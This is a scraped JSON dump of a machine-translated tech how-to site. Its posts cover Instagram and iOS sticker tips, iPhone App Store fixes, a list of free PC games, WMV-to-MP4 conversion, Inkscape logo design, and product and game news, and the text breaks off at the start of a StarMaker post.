Instagram How to permanently delete Instagram account and temporarily disable it How to post photos to Instagram from a computer Guide to insert selfie photos on Instagram Stories Step 1:\nLog in to your personal Instagram account and then click on the camera icon in the top left corner of the screen. Take pictures or videos that you want to post on Instagram Stories as usual.\n   Step 2:\nIn the captured image click on the emotion face icon at the top of the screen. Display the sticker inserted into the photo, click the camera icon as shown.\n   Step 3:\nYou will then see a frame to take a selfie. We can move this selfie frame to any location in the picture. If you want to delete, scroll down to the trash icon below.\n   Step 4:\nClick on the white dot button to take a selfie into the photo. Click on the Submit button below. Clicking on your News option will have additional options.\n   When users have linked Instagram to Facebook, they will have more options to post on Facebook as shown. We can choose Share once to post this Instagram message to Facebook. If you don't like it, click Share to post on Instagram Stories.\n   Add an interesting sticker when taking photos or recording videos on Instagram Stories. News items posted on Instagram will now be added face emotion, selfie or any photo depending on the user.\nGuide to insert selfie photos on Instagram See more:\nHow to unlink Instagram with Facebook How to permanently delete Instagram account and temporarily disable it 12 tips to make it easier for you to master Instagram I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiRnr9uv8SlnaKdXaW1sMDOZqqtoZOgsrN5zqdkoqajqa6ovsCmZKysn6e2pr8%3D\n","link":"/post/how-to-pair-selfie-photo-sticker-on-instagram-stories/","section":"post","tags":null,"title":"How to pair selfie photo sticker on Instagram Stories"},{"body":"In iOS 11, Apple introduced animated emoji characters called Animoji, designed to mimic facial expressions. Animoji have since evolved to include Memoji. These are customizable human Animoji characters (you can design them to look like you, or a version of you with blonde skin, blue hair, or a cowboy hat, for example).\nBasically, this is a Bitmoji version of Snapchat or Samsung's AR Emoji. Apple says it has worked hard to provide a \"very diverse set of Memoji\".\nThese icons are also available as Memoji Stickers in iOS 13, shown in the frequently used section of the emoji picker on the default virtual keyboard. If you don't use them so much that you find their appearance useful in emoji keyboards, there's now a way you can get rid of them.\nSince iOS 13.3, Apple has added an option to prevent Memoji Stickers from showing in emoticons that are frequently used on iPhones and iPads. Make sure you're running iOS 13.3, then follow the steps below to delete them.\n1. Launch the Settings app on iOS devices.\n2. Click General.\n3. Press Keyboard.\n4. Swipe to the bottom of the screen.\n5. Turn the switch next to Memoji Stickers to Off.\nNext time you send a message, your favorite emoji will fill in the Frequently Used section in the emoji keyboard, no Memoji Stickers anymore.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVory3sYymnKanmp56tMDInKKeqqNis7O7zGainrGSpK6zsNJmoKdlmaTA\n","link":"/post/how-to-remove-memoji-stickers-from-keyboards-in-ios/","section":"post","tags":null,"title":"How to remove Memoji Stickers from keyboards in iOS"},{"body":"Splicing is the process of combining 2 lengths of wires so they can carry a current. Before you splice your wires together, you need to prepare the wires by stripping them and turning off the power. There are many ways to splice wires...\n Marvin Fry Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqugobaksYywoKud\n","link":"/post/how-to-splice-wire/","section":"post","tags":null,"title":"How to Splice Wire"},{"body":" This is a romantic and creative way to tell your true love how he or she is special to you. It may take only a few hours, but could take weeks, or even longer, but in the end, you may even surprise yourself with what you learn! === Writing...\nMethod 1of 1:\nWriting 100 Reasons Why You Love Someone  Get a notebook and pen or pencil, and commit to yourself to keep it with you while you reflect on the qualities of the person you love.\n  Set a time each day to simply reflect on the person you are writing about. Clear your mind of work, school, kids, the news, or anything else that distracts you.\n  Be honest with yourself. Some of the ideas that come to you may seem corny, even to yourself, but that is the way love is, sometimes.\n  Think of the big things. Then, see if the big things are combinations of little things, and can be broken down that way. Here are some examples of \"she is beautiful\" (other qualities may be broken down the same way). Her hair is soft and smells sweet. Her lips are full and sensuous. She has a full, womanly figure. (Which may be broken down even further.) She has lovely, iridescent blue eyes. Her smile can light up a room.   When the special person is around, look thoughtfully at them, taking note of anything that gives you a warm, tender feeling. If you are making your list secretly, take mental notes to write down later.\n  Listen to what their friends say. They may notice things or qualities that you really love, but are not even aware of.\n  Give thought to the things the person doesn't do. You may appreciate the absence of criticism, complaining, or other negative qualities. These characteristics, being absent, do not lend themselves to obvious recognition.\n  Think about what you feel when the person is absent. This may clue you in to things about them you never think about, but miss when they are not present. This could be the scent of their hair or perfume, or the sound of their voice.\n  Try to remember the practical points. This may be adrift from the \"romantic\" ideas, but these are qualities you may value greatly, when you consider them. Things like cleanliness, punctuality, or moderation.\n  Write all the things you think of in your notepad, then reread them, to see if they lead you to more discoveries about the person. Often, you may find you associate other things only when you remind yourself deliberately.\n  Make your finished list, read it carefully, then put it away for a while. You may even try to forget it, but later on, when you take it out, or even rediscover it, you may be surprised by how you take many things on the list for granted.\n  Think about sharing your list with him/her. Will they see it as a shallow, superficial gesture? That may depend largely on the things you choose to list. On the other hand, they may be flattered and happy you have spent so much time thinking about them.\n  David Pac Update 28 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq%2BinsGmeZBpZ2aqlZbAsLrSZq6hsV2uvLZ5y6itnmWjpLqmu82e\n","link":"/post/how-to-write-100-reasons-why-you-love-someone/","section":"post","tags":null,"title":"How to Write 100 Reasons Why You Love Someone"},{"body":"This Photoshop 22.4 update fixes many minor bugs, improves the Neural engine filter, and adds new features. Adobe will also support Photoshop natively for devices running Windows 10 64-bit v19041.488.0, 8GB of RAM and at least 4GB of VRAM.\n  In the latest version of Photoshop, Adobe added a new \"Save a copy\" feature in the menu that allows users to save copies of their work. When you click on the \"Save a copy\" option, the application automatically creates a work copy and allows you to export the file and share it in the selected file format. Your data will be safe because this operation does not overwrite the original file.\n  This Photoshop 22.4 update also adds new Neural Filters by Adobe. All Neural Filters will appear in one place, whether they are complete or in beta that is not quite ready for use.\nYou can click the link here to see the full list of Neural Filters.\n  Currently, users can download the new update Photoshop 22.4 through Creative Cloud. Please download and experience, do not forget to share your feelings by leaving a comment at the end of the article for everyone to know.\nncG1vNJzZmismaXArq3KnmWcp51kvam706iqoaegYn9zgIyiqmaZppa2ra3BpZxmppWseqexwK2sq52jYq6lsMSdZKKloKe8t7HDZqWeraKWuW6yyKWrnqqj\n","link":"/post/photoshop-22-4-is-available-new-features-added-improved-neural-filters/","section":"post","tags":null,"title":"Photoshop 22.4 is available, new features added, improved Neural Filters"},{"body":"In 2021, Pokémon UNITE is probably one of the most outstanding MOBA games when it comes to a very familiar theme but many gamers love it. Launched for the first time on the Nintendo Switch platform, gamers can now download Pokémon UNITE on mobile devices through two leading application stores, the App Store and Google Play.\n  Although it has only been released for a few months and is a young MOBA game, it is undeniable that Pokémon UNITE is hot when this game has surpassed the milestone of 25 million downloads in October. Yes. It can be said that this is an extremely impressive number for a MOBA game that has just set foot in the game of the big guys.\n  As a MOBA title, in order to keep a long-term player base, Pokémon UNITE needs to build an Esports tournament system instead of just relying on this popular franchise. That's why The Pokémon Company announced its plan to hold Esports tournaments in 2022 and made many gamers look forward to it.\n  Specifically, Pokémon UNITE will be present at Pokémon World Championship 2022 - the largest and oldest tournament system of the Pokémon series with the presence of many titles related to this topic. Pokémon UNITE's own Esports tournament will have a total prize value of up to 1 million USD, equivalent to 22 billion VND with the participation of 16 different teams. This will also be an opportunity for this emerging game to compete with other big boys in the MOBA village.\nncG1vNJzZmismaXArq3KnmWcp51kvbC3xKamp2Wlo7a1sYyonZ%2Bhk56urbjYZpinpp%2Bqu6Sx0madoqqjqXqmv8%2Boqa2rXam8tr7NmqSepqQ%3D\n","link":"/post/pok%C3%A9mon-unite-officially-announces-first-esports-tournament/","section":"post","tags":null,"title":"Pokémon UNITE Officially Announces First Esports Tournament"},{"body":"1. Restart App Store This is the easiest way to fix problems of unknown causes. First, press the Home button twice, then swipe the App Store app from bottom up to turn it off. Conversely, if you are using newer versions of iPhone (without a physical Home button), users simply swipe up from the bottom of the screen and hold for a second, then do the same as above.\nNext, re-open the App Store app, click the avatar icon in the right corner and select Update all (update all).\n  Restart iPhone If the problem persists, restart your iPhone by holding down the power button and the Home button at the same time until the Apple logo appears. For newer iPhone models (without the home button), users simply press and release the volume up button, press and release the volume down button, then hold the power button for a few seconds until the iPhone reboots.\n  3. Switch Internet connection An unstable Internet connection will prevent you from installing or updating apps. Therefore, if you are using WiFi, try switching to 4G or vice versa.\nNote, to download 4G large-volume updates, you need to go to Settings - App Store - App Download (download apps) and choose Always Allow (always allow) or Ask If Over 200 MB (ask if over 200 MB).\n  4. Check the running status of the App Store If none of the above helps to solve the problem, it is more likely that the problem is related to Apple's servers. To check the running status of the App Store, please visit https://www.apple.com/support/systemstatus/, if the App Store is displayed in orange, it means that the service server is having problems. try and vice versa, green is normal operation.\n  5. Update iOS If you still cannot fix the problem related to the App Store, please check and update your iPhone to the latest version (if available).\nFirst, go to Settings - General - Software Update - Download \u0026amp; Install (download and install). Note, the size of the update may vary depending on the device you are using.\n  In general, here are some simple ways to fix the issue of not being able to download or install apps on the App Store, if you find it helpful, don't forget to share the article with many people or leave a comment Comment when having trouble using it.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5ksJmpqHq1u4yfoLFlpJ2ybrHRq6arZZ%2Bbeq%2B702agp6uklrmttc2gZJqooKh6sLqMoqehp56a\n","link":"/post/top-5-ways-to-fix-the-error-of-not-installing-apps-on-iphone/","section":"post","tags":null,"title":"Top 5 ways to fix the error of not installing apps on iPhone"},{"body":"Not on race launches smart TV devices, also recently launched Xiaomi Mi TV products Q1 75 \"with premium features such as screen QLED 4K Vietnam, supports\u0026nbsp; scanning frequency \u0026nbsp;120Hz . So Tools Maybe the Mi TV Q1 75 \"device from Xiaomi has something interesting.\nBecause this is Xiaomi's high-end product line, design is a point that many people pay attention to. Xiaomi's home appliances have long been known for their minimalistic design, and the Mi TV Q1 75 \"is no exception with the super thin bezels. Certainly owning the Xiaomi Mi TV Q1 75\" will help enhance the elegance of your living room.\n  This is\u0026nbsp; QLED TV \u0026nbsp;(or quantum dot technology) with 4K resolution, the Mi TV Q1 75 \"product will be able to overcome the disadvantages of\u0026nbsp; the OLED screen , while still capable of color rendering. Deep black Combined with 192 dynamic local dimming zones, this panel can achieve a panel contrast of up to 10000: 1.\nIn addition, to improve the screen quality, the company did not forget to add a 120Hz refresh rate on the screen, along with HDR10 + technology and\u0026nbsp; Dolby Vision \u0026nbsp;to increase the entertainment experience for users.\n  When open for sale, the Mi TV Q1 75 \"product will run on the latest Android TV 10 platform, so that you can \u0026nbsp;smoothly use online video streaming applications such as\u0026nbsp; Netflix or Youtube, at the same time. The device can be controlled by the Google Assistant virtual assistant through the microphone equipped on the remote.\nAdditionally, features such as\u0026nbsp; Chromecast \u0026nbsp;can also be used by streaming images from your\u0026nbsp; computer \u0026nbsp;or\u0026nbsp; phone \u0026nbsp;to apps that support Google's Cast standard.\n  Equipping a stereo speaker system with a capacity of 30W and other auxiliary audio technologies such as Dolby Audio and DTS-HD will help make the sound emitted from the TV become more realistic.\n  Although it is minimalistic in design, but Xiaomi still does not forget to equip Mi TV Q1 75 \"full of connectivity ports such as 3\u0026nbsp; HDMI \u0026nbsp;2.1 ports, 2 USB ports and 1 Ethernet port\u0026nbsp; .\n  Currently, this product is only priced on the European market is 1299 EUR. However, it should be noted that the price of technology products in the European market is often much higher than in other markets, and it is possible that Xiaomi will have a better price policy for the Mi TV Q1 75 \"outside the region. area.\nRecently, the Mi TV Q1 75 \"product information was released by Xiaomi. Hope this article is useful to you, thank you for watching, see you in other articles!\nncG1vNJzZmismaXArq3KnmWcp51kxaqtzqagZqSRqruktMSsZKahXanDbr2QZm5u\n","link":"/post/xiaomi-launches-mi-tv-q1-75/","section":"post","tags":null,"title":"Xiaomi launches Mi TV Q1 75"},{"body":"Previously, 'free' games on the PC had two types: Bad flash games and shareware demos with huge disparities. The idea of ​​free games, literally, doesn't really start with mobile games, but mobile games have contributed to popularizing the method of distribution and development of this game.\nThere are two basic 'free' games and both will be included in this article. First, there are games that are completely free, with no restrictions on content, interface or modes. Secondly, you can play free games, but there are some limitations to the game experience. The popularity of the F2P model (Free to play) has changed this idea. This article will include various drug games and different types of great gameplay.\nDo you know the best free games for this PC? Apex Legends Fortnite Battle Royale Killer Instinct Alien Swarm Let It Die Smite MapleStory Robocraft Kingdom of Loathing Fallout Shelter Starcraft: Wings of Liberty Pinball Arcade Paladins Pro Evolution Soccer 2018 Lite Brawlhalla Dota 2 League of Legends (League of Legends) Doki Doki Literature Club Pinball FX3 Realm Grinder EVE Online Path of Exile Butterfly Soup Tera TrackMania Nations Forever Hearthstone Emily is Away Team Fortress 2 Warframe Neverwinter Apex Legends Apex Legends has caused storms all over the world earlier this year. Apex Legends blends the royale battle (survival battle) with the Titanfall world and elements of shooter.\nDownload Apex Legends.\nFortnite Battle Royale   Epic Games has participated in the survival battle game with a free mode inside an existing game. You can join without paying upfront fees and play in the popular 100 player mode as much as you like. If you want more content, you will have to pay the prepaid fee of $ 40 (920,000 VND).\nDownload Fortnite Battle Royale.\nKiller Instinct Developed first by Double Helix, for the release of Xbox One, this great fighting game has continued to have important updates coming from Iron Galaxy. Most importantly, Killer Instinct is now available on Windows 10 PCs. At least one character game is available for free to play, but you can also buy new characters or an entire season with high content value. And because everything you've unlocked or bought on the Xbox One is ported to the Windows 10 version, you don't need to worry about paying extra fees.\nDownload the Killer Instinct.\nAlien Swarm This shooting game is developed by Valve and is completely free. Just download the entire game and SDK via Steam, you can enjoy this game. Join your 3 friends to kill alien monsters, or open the game editor and create your own environment. With 4 character classes, 8 game characters and continuous unlocking features, this game will make you \"busy\" for months. The biggest plus is that this game is completely free.\nDownload Alien Swarm.\nLet It Die The original start was the PS4 exclusive product, this free game from developers of Lollipop Chainsaw finally allowed Steam users to fight on the giant tower of Let It Die. Like many modern games, it borrowed ideas from Rogue, but did not copy the idea. When you 'die', you can spend money to continue, or the current 'corpse' will turn into a \"Hater\" and attack your next game character. And even if you're not willing to spend money, Uncle Death can entertain you for hours, by poring over characters.\nDownload Let It Die.\nSmite   If you are curious about the MOBA game scene, Smite is a great starting point. With WASD motion and rear view, Smite is more like an action game than a Real-time strategy (RTS). Like many other games in this category, there are a large number of characters to choose from, and you'll have to pay if you want to access all of them. Thankfully, the $ 30 fee (VND 690,000) will unlock all existing characters and all future characters.\nDownload Smite.\nMapleStory When thinking about MMORPG, games like World of Warcraft and EverQuest will appear in your mind. However, there is a side-scrolling MMORPG game that has been around for over a decade. That's MapleStory. And although the next 3D part has attracted a lot of attention, this classic work still has no sign of 'cooling down'.\nDownload MapleStory.\nRobocraft With Robocraft, you can build and customize your own battle robots, control them against other custom robots online, to get better abilities. Advanced membership, in-game inventory (crate) and packages can be a bit expensive, but the core components are accessible via regular games for free. And since the game is still in the early access stage, be cautious about spending any money.\nDownload Robocraft.\nKingdom of Loathing Unlike West of Loathing, Kingdom of Loathing actually runs inside your browser. The interface and artistic style are minimalistic, but this great role-playing game has been supported by donations for many years. You can comfortably enjoy the game at no cost or see ads.\nPlay Kingdom of Loathing online here.\nFallout Shelter   The combination of Fallout's 1950s animation style with Management Sim (a type of simulation game in which players build, expand or manage fictional communities or projects with limited resources) Processing) is a bold way of Bethesda. It was first released on the phone, but Fallout Shelter is also suitable for PC gamers. You can absolutely enjoy the exciting content of this game without losing any cost.\nDownload Fallout Shelter.\nStarcraft: Wings of Liberty The sequel to one of the best RTS games of all time, Wings of Liberty is just the first chapter in a three-part series, but it has drawn a great story that can stand alone. 2 rests. Blizzard has built an excellent single-player RTS game. The story of 2 characters Jim Raynor and Sarah Kerrigan are also extremely attractive to players.\nDownload Starcraft: Wings of Liberty.\nPinball Arcade Download the guest app for Arcade Pinball on Steam and you'll have full access to Mary Shelley's Frankenstein table for free. You can also try any other table without extra charge. You can purchase each additional table as needed or invest $ 10 to $ 20 (230,000 VND to 460,000 VND) for the entire classic table game package. Whether you are an ordinary or extremely avid pinball player, this free game is still a great choice.\nDownload Pinball Arcade.\nPaladins This Hi-Rez Studios shooter is clearly comparable to Blizzard's Overwatch, but with 100 new Battlegrounds, it's clear that this early access game is ready to become a new wave in world shooter. You can play for free with a limited group of Champions, but buying a Champions Pack once for $ 30 (VND 690,000) will unlock all current and future game characters.\nDownload Paladins.\nPro Evolution Soccer 2018 Lite Do you like competitive games? The \"Lite\" version of Pro Evolution Soccer 2018 lets you enjoy all the exciting moments of running your own football club. You can play online mode myClub, League, Exhibition Matches and improve your skills with Training mode. This version is more limited than full product, but is still an effective way to get the 'flavor' of modern PES. And if you want to play more, you can always upgrade to a later version.\nDownload Pro Evolution Soccer 2018 Lite.\nBrawlhalla   Inspired by Super Smash Bros, this 2D fighting game allows PC gamers to participate in the fun. Although it does not work exactly like Nintendo's favorite cross-over series, it is still enough to satisfy your desire to play a melee game. You can play for free as much as you like and spend $ 20 (VND 460,000) to unlock all current and future game characters.\nDownload Brawlhalla.\nDota 2 Based on a famous Warcraft III mod called Defense of the Ancient, Dota 2 of Valve is a free game. No need to spend a dollar, you can still get the whole gaming experience. Of course, Valve earns profits from selling items and weapons to players. At this time, Bellevue has a lot of experience in free games, so don't be surprised if you find yourself attracted to and buy too many new items for this \"free\" game.\nDownload Dota 2.\nLeague of Legends (League of Legends) Like Dota 2, League of Legends or League of Legends is a MOBA derived from a classic Warcraft III mod. However, Riot Games offers very different prices than Valve. You can play the same number of game characters at the beginning, but need to buy additional characters. This game is still extremely popular globally and Riot Games continues to expand its franchise more and more each year.\nDownload League of Legends.\nDoki Doki Literature Club This weird and somewhat frightening game from Team Salvato changes the genre at every turn. If you are brave enough to face real horrors, this adventure is worth a few hours of conquest. Although this is not really a free play model as expected, the entire gaming experience is still completely free. If you like, you can pay $ 10 (230,000VND) for \"Fan Pack\" to enjoy the wonderful wallpaper and sound.\nDownload Doki Doki Literature Club.\nPinball FX3 The pinball world has a long history of licensed tables, so it's good to see Zen Studios continue that tradition even after the market for physical pinball tables almost completely disappears. . If you're willing to spend money, you'll find tables from Star Wars, Fallout or ET franchises. And even if you don't want to withdraw your wallet, the free table is still very interesting.\nDownload Pinball FX3.\nRealm Grinder If you have never played an idle game (click game, which can be interpreted as a form of automated game play) before, this concept may be a little confusing. You will take the time to quickly click and wait for the game to progress. Most of these games are built around some kind of loop, but hidden behind are interesting tasks and complex systems.\nYou will start by clicking through several times and only earn a little gold. After a while, your works will generate much faster money than you expect. You will receive 'sweet' results when collecting upgrades and spoils.\nDownload the Realm Grinder.\nEVE Online   Lovelyly called \"spreadsheet in space\", EVE Online has owned a thriving community for the past 15 years. This game was released in the early days of the Bush administration and is still growing strongly. Some time ago, CCP began offering free play options to EVE, allowing unlimited access to a subset of ships and combat skills. For more options, you will need to pay for the appropriate subscription fee.\nDownload EVE Online.\nPath of Exile If you like Diablo, Path of Exile series will be the right choice for you. On the core, this is an action RPG that is combined with a free business model. You will spend most of your time moving through imaginary environments, destroying everything with swords, bows and spells. If you love Diablo II, but don't like Diablo III's direction, you should consider POE.\nDownload Path of Exile.\nButterfly Soup This charming game focuses on a group of Asian LGBT girls who love baseball, and their story is told as a visual novel. Beautiful illustrations are presented with countless dialogs and some gentle adventure game elements. All of these elements work together, creating a special attraction for the Butterfly Soup game. And like many Itch.io games, Butterfly Soup is available through the 'pay for what you want' model. You can play the whole game for free, but it's worth paying the developer a few dollars, if you really like this game.\nDownload Butterfly Soup.\nTera Unlike most MMORPGs, Tera is a real-time fighting game. Instead of conquering abilities like a regular MMO, Tera focuses on more action. You will need to roll into the attacks and aim. So if you like the social aspects of MMO but hate WoW formulas, Tera is the worthwhile choice. \"Elite status\" gives you a lot of bonuses for $ 15 (VND 347,000) per month and investing real money in \"EMP\" allows you to buy items and weapons whenever you see fit.\nDownload Tera.\nTrackMania Nations Forever You can play for free across the stadium environment by downloading TrackMania Nations Forever or spending $ 30 (695,000 VND) to upgrade to TrackMania United Forever, with 6 more racing environments. And if you don't have the ability to pay this cost, you can switch to TrackMania 2 or TrackMania Turbo.\nDownload TrackMania Nations Forever.\nHearthstone Based on Blizzard's hugely popular Warcraft franchise, Hearthstone has become a phenomenon. This turn-based card game is very successful on PC and mobile. All you need is a free Battle.net account and you can participate in the fun. You can expand your options if you pay an extra fee, but you can still enjoy the fun without losing any money.\nDownload Hearthstone.\nEmily is Away   Game Emily is Away gives players a set of relationship test excerpts that change when friends leave high school and go through adulthood. With Windows XP and AOL Instant Messenger, you will take the time to respond to reminders from a friend named Emily for years. How you answer the conversation shaped. This first story is completely free and the sequel costs only $ 5 (115,000 VND).\nDownload Emily is Away.\nTeam Fortress 2 Dota 2 is extremely popular, but not the first free game of Valve. Originally released as part of the package called The Orange Box, Valve made Team Fortress 2 a free game nearly 4 years after its first release. This character-class shooter currently maintains a surprisingly large user base.\nDownload Team Fortress 2.\nWarframe This sci-fi third-person shooter of Digital Extreme has a lot of fun for thrifty players. You can spend dozens of hours fighting other people online and most importantly, not investing anything outside of time. Of course, you can pay real money for in-game currencies and items, but this is not required. Even this game works surprisingly well on older systems, so almost anyone can join.\nDownload Warframe.\nNeverwinter   Explore the fantasy world with your friends and immerse yourself in decades of legends built around this famous Dungeons \u0026amp; Dragons (D\u0026amp;D) scene. You can spend real money to improve your game character, but be careful what you buy because you can easily spend hundreds of dollars on this. However, costing $ 10 or $ 20 for a fun time also seems to be a reasonable price?\nDownload Neverwinter.\nOne of the great things about playing games on a PC is that you don't need to pay a lot of money for quality entertainment hours. If there is a free or new game that attracts your attention that has not been mentioned in the article, please leave a comment in the comment section below!\nWish you find yourself the right choice!\nncG1vNJzZmismaXArq3KnmWcp51kgHF5wZ6qrWWWp7KmecaapJ6rXaS7brzC\n","link":"/post/30-best-free-games-on-pc/","section":"post","tags":null,"title":"30 best free games on PC"},{"body":"Hitman GO is a turn-based strategy game for extremely attractive smartphones. The game content revolves around \"super killer\" bearing the nickname 47 in the Hitman series with the special assassinations.\nHitman GO has a completely different gameplay, focusing on the challenging element and bearing the direction of a boardgame rather than favoring a secret action style so promising to give players an experience that has' 1 -0-2 'completely new.\n  In each game screen, you will control assassin 47 to make use of all skills from disguise, creating manipulations, using weapons . to overcome challenges and avoid police, bodyguards, professional dogs . to Complete the task of assassinating the previously specified target.\nThe game has nearly 70 different levels, including many levels inspired by the classic Hitman mission.\u0026nbsp;\nHitman GO with intuitive graphics, beautiful images, sound system creates a sense of suspense, suspense, many weapons combined with simple but extremely challenging gameplay mechanics, so it is recommended by professionals and players Extremely appreciated.\nCurrently, Square Enix developer is offering free Hitman Go program in both App Store and Play Store for a short time. If you like adventure, please quickly access the link below to download this game before the promotion period ends.\nHitman Go on the App Store:\nhttps://apps.apple.com/app/hitman-go/id731645633 Hitman Go on Play Store:\nhttps://play.google.com/store/apps/details?id=com.squareenixmontreal.hitmango\u0026amp;hl=vincG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdnba1ucCnZKCnXZZ6pLvOpWSsrKKWwaaz2GaemqWVYrOwvoyfqZ6dXZu8s3nBqKuhZZGjsbO7yJ1kmqaUYrawvw%3D%3D\n","link":"/post/download-hitman-go-a-cool-strategy-game-for-free-for-both-android-and-ios/","section":"post","tags":null,"title":"Download Hitman GO, a cool strategy game for free for both Android and iOS"},{"body":"If the software for watching movies or listening to music on your computer does not allow reading WMV tails . You are not sure how to convert that WMV tail video to MP4 . The following article The network administrator will guide you how to change WMV tail to MP4 very simply.\n1. Convert WMP video tail to MP4 online Step 1:   Visit your browser at http://video.online-convert.com/convert-to-mp4.\nStep 2:   Click \"Browse\" and select the WMV tail video you want to change to MP4.\nStep 3:   You can change your video settings in the \"Optional setting\" dialog box, then click \"Convert file\" to start the video conversion process.\nOnce you have completed the conversion process, you can download the video that has changed the MP4 tag directly to your computer.\nSee also: 7 ways to download YouTube videos quickly and simply 2. Aiseesoft Video Converter Step 1:   On your browser visit http://aiseesoft-total-video-converter.en.softonic.com.\nStep 2:   Download Aiseesoft Video Converter to your computer.\nOr the fastest way you can download Aiseesoft Video Converter to your computer here. Step 3:   Double click on the software file you just downloaded. Follow the on-screen instructions to install Aiseesoft Video Converter on your computer.\nThe application will automatically open up after completing the installation process.\nStep 4:   Click on \"Add File\" (add file) in the top left corner of Aiseesoft Video Converter window.\nStep 5:   Select the WMV file you want to change the extension to MP4 file .\nStep 6:   On the Menu Dropdown near the bottom of the Aiseesoft window, select \"MP4\" in the \"Profile\" section.\nIf you want to view the modified MP4 video file on a device, click \" Setting\" , select your device name then select \"MP4\".\nStep 7:   Click \"Convert\" . Aiseesoft Video Converter will automatically change your video extension.\n3. WinAVI Conversion Step 1:   On your browser, visit http://www.winavi.com/wmv-to-mp4.htm.\nStep 2:   Download WinAVI Conversion to your device.\nOr the fastest way you can download WinAVI here. Step 3:   Double click on the software file you just downloaded and then install it according to the instructions on the screen.\nStep 4:   Follow the on-screen instructions to install WinAVI Conversion on your computer. The application will automatically open up after you have completed the installation process.\nStep 5:   Click on \"Add file\".\nStep 6:   Select the WMV tail file you want to convert to MP4.\nStep 7:   Click \"Common Video File\", then click the \"MP4 file\" option .\nStep 8:   Click \"OK\" . You will see your WMV tail video file displayed on the WinAVI file list list .\nStep 9:   If you want to edit any of your video options, click \"Advanced\" to edit.\nThen click on \"Start\" . WinAVI will automatically convert your WMV video file to MP4.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmrqauXau2pbHOZquaoZxiwbB5zKlr\n","link":"/post/how-to-convert-wmv-video-tail-to-mp4/","section":"post","tags":null,"title":"How to convert WMV video tail to MP4?"},{"body":"Inkscape is one of the best free SVG (Scalable Vector Graphics) applications. This makes Inkscape ideal for creating graphic works capable of retaining the appearance regardless of size. And most of these products are logos. Although Inkscape provides a fairly large set of tools, you can create a simple logo by using only one or two of these options.\n  Because Inkscape is one of the most popular open source graphics applications, many Linux distributions that come with this tool come pre-installed. If you don't have Inkscape yet, search for it via the distribution's official App Store. If you do not intend to use commands, on Debian based distributions you can install Inkscape with:\nsudo apt-get install inkscape  Simple logo design guide with InkScape Direction of the page Line Tool Calibration curve Roads, curves, and intersections Determine the shape More colors Realistic logo Remember to save the file! Direction of the page Inkscape's default mode for new documents is vertical. Most logos are larger than the width, so it's better to set the page horizontally.\n  To do this, choose File\u0026gt; Document Properties and change the orientation, right from the Page Size list (s) , to horizontal.\nLine Tool   Select the 12th tool from the application toolbar, depicted with a small pencil with a line, which looks like the shadow below. Or, press Shift + F6 . This tool allows you to draw straight lines and Bezier curves.\nCalibration curve Inkscape - and most of its tools - let you design anything you want, wherever you need it, and start from anywhere on a blank page. Sometimes, as in the case of logo design, some restrictions on all this freedom are quite helpful. And the 'limitations' here are the calibration curves.\nUsing calibration lines can help control the shape of the drawing. By acting as a 'magnet', a click next to these calibration lines changes the position of a point, moving it instantly above the reference line. Proper placement of paths can turn them into a rough 'framework', helping to create the final design.\n  Create benchmarks in InkScape (as in many other applications of the same type) via a hidden shortcut: Hold the left mouse button on one of the two rulers that appear on the edges of the page and drag it to the point where you want it. set a calibration curve. Depending on whether you drag the ruler from the top or the left of the page, you will create a horizontal or vertical calibration line.\nTo make logo design more comfortable, you should create a 'matrix' of standard lines, similar to what you can see in the screenshot above.\nRoads, curves, and intersections In the case of this example, the article designed a 3-letter logo 'MTE' . Chances are, you'll want to create something different, so instead of giving strict and specific location and click instructions, the article will describe what has been done and at Why did you do that?\nStart by drawing the letter 'm' . Like most letters, you will need both straight and curved lines. It is easier to start with a simple line. For example, choose a vertical line on the left side of the page where you want to put the first vertical line.\nClick the intersection with a horizontal benchmark at the bottom left. Then click the intersection with a horizontal path in the upper left. The result is a vertical line on the vertical path, beginning and ending at its intersection points with horizontal reference lines.\n  Although the first line has been created, everything is still not complete: The selected tool is still active and waiting for the next step. By scrolling to different parts of the screen, you can see a live preview of the result of the next click.\nDetermine the shape Selected lines and the Bezier curves tool create a series of lines and curves. Each new click means ending the first line and starting the next.\nTo create a curve instead of a straight line, click the left mouse button, then drag the mouse around. You will see on the screen the line changes to a curve, with its curvature and angle determined by the cursor position.\nThe process of drawing a shape is completed by returning to where it all started, with the last click on the same point at the beginning.\n  By defining lines and curves through a series of consecutive clicks, you can draw almost anything you can imagine. This is not a question of talent but patience, will and determination. Even if, as in the case of the example, only the letter 'm'.\nMore colors By repeating the previous step, the example has designed two more letters to complete its logo. But they are white, or not precisely, on a white background. This is not good for a logo.\nTo add any shape to a color, select that shape, then choose the color you want. Everything is quite easy. Click the first available tool, display the arrow or press F1 on the keyboard. This is the Selection tool . When it works, you can click on any shape you want to select or left click and drag the rectangle around it.\nYou can select multiple shapes at once by dragging rectangles around them all or by clicking repeatedly on them while holding down the Shift key.\n  To add color to any selected shape, click the desired shape on the palette at the bottom of the screen or click and drag it onto the object you want to assign. Note that, in this particular case, the second method will only assign color to the borders of the letters because they are currently empty.\nRealistic logo The example logo is almost complete. Using the Selection tool, you can take each letter individually and bring them closer together. The example then replaced the previously used vivid colors with the typical black, which looks more serious. Finally, the article hides the calibration lines by disabling displaying them in View\u0026gt; Guides , so that results can be seen without annoying lines throughout the page.\n  Remember to save the file! The final step when designing something is always to go to File\u0026gt; Save . Inkscape doesn't use any weird archive formats and is fully compatible with the widely used format Scalable Vector Graphics, or SVG.\n  Files of this type store graphic works in the form of mathematical equations, so they are unaffected regardless of screen size. It is also worth noting that all current browsers are compatible, meaning you can use the logo directly in SVG format on your website. The logo will display faster, look better, and be compressed better than JPEG or PNG files.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZKyhnaW5pnnLqJ6oZaeewal5yKeirJuRpbI%3D\n","link":"/post/how-to-create-a-simple-logo-with-inkscape/","section":"post","tags":null,"title":"How to create a simple logo with InkScape"},{"body":"Not every song that you record on StarMaker makes you feel good. Although you have a choice before posting, if you have already posted, you can delete your recording.\nIt is similar to deleting your Facebook post, to delete the unwanted recording on StarMaker, follow the instructions below.\nInstructions to delete the recording in 